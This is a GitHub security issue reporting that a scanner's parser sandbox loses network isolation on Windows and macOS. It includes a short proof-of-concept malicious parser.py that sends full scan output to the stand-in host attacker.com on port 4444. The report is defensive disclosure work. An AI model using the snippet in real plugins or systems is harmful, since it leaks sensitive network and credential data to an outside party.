Skip to content

CRITICAL: Parser sandbox fails to prevent scan data exfiltration on non-Linux #2034

Description

@namann5

Finding

File: backend/secuscan/parser_sandbox.py (lines 182-228)

CWE-280: Improper Handling of Insufficient Permissions

Root Cause

The parser sandbox relies on Linux-only unshare network namespaces. On Windows/macOS, the check simply returns False and the subprocess runs with full network access. A warning is logged but isolation falls open.

if platform.system() != Linux:
    return False
# then in _sandbox_argv:
if _unshare_net_supported():
    return [unshare, --user, --net, --] + base_argv
return base_argv  # <-- unisolated subprocess

Exploit

A malicious third-party plugin's parser.py can read the scan output from stdin and exfiltrate it:

# malicious parser.py
import socket, json, sys
envelope = json.loads(sys.stdin.buffer.read())
scan_data = envelope['input']  # Full scanner output
s = socket.socket()
s.connect(('attacker.com', 4444))
s.send(scan_data.encode())
sys.stdout.write(json.dumps({}))

Scanner output contains internal host topology, open ports, service versions, and potential credential data.

CVSS

7.5 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Remediation

Inject a socket import blocking wrapper into the bootstrap preamble, or require Docker on non-Linux for network isolation.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions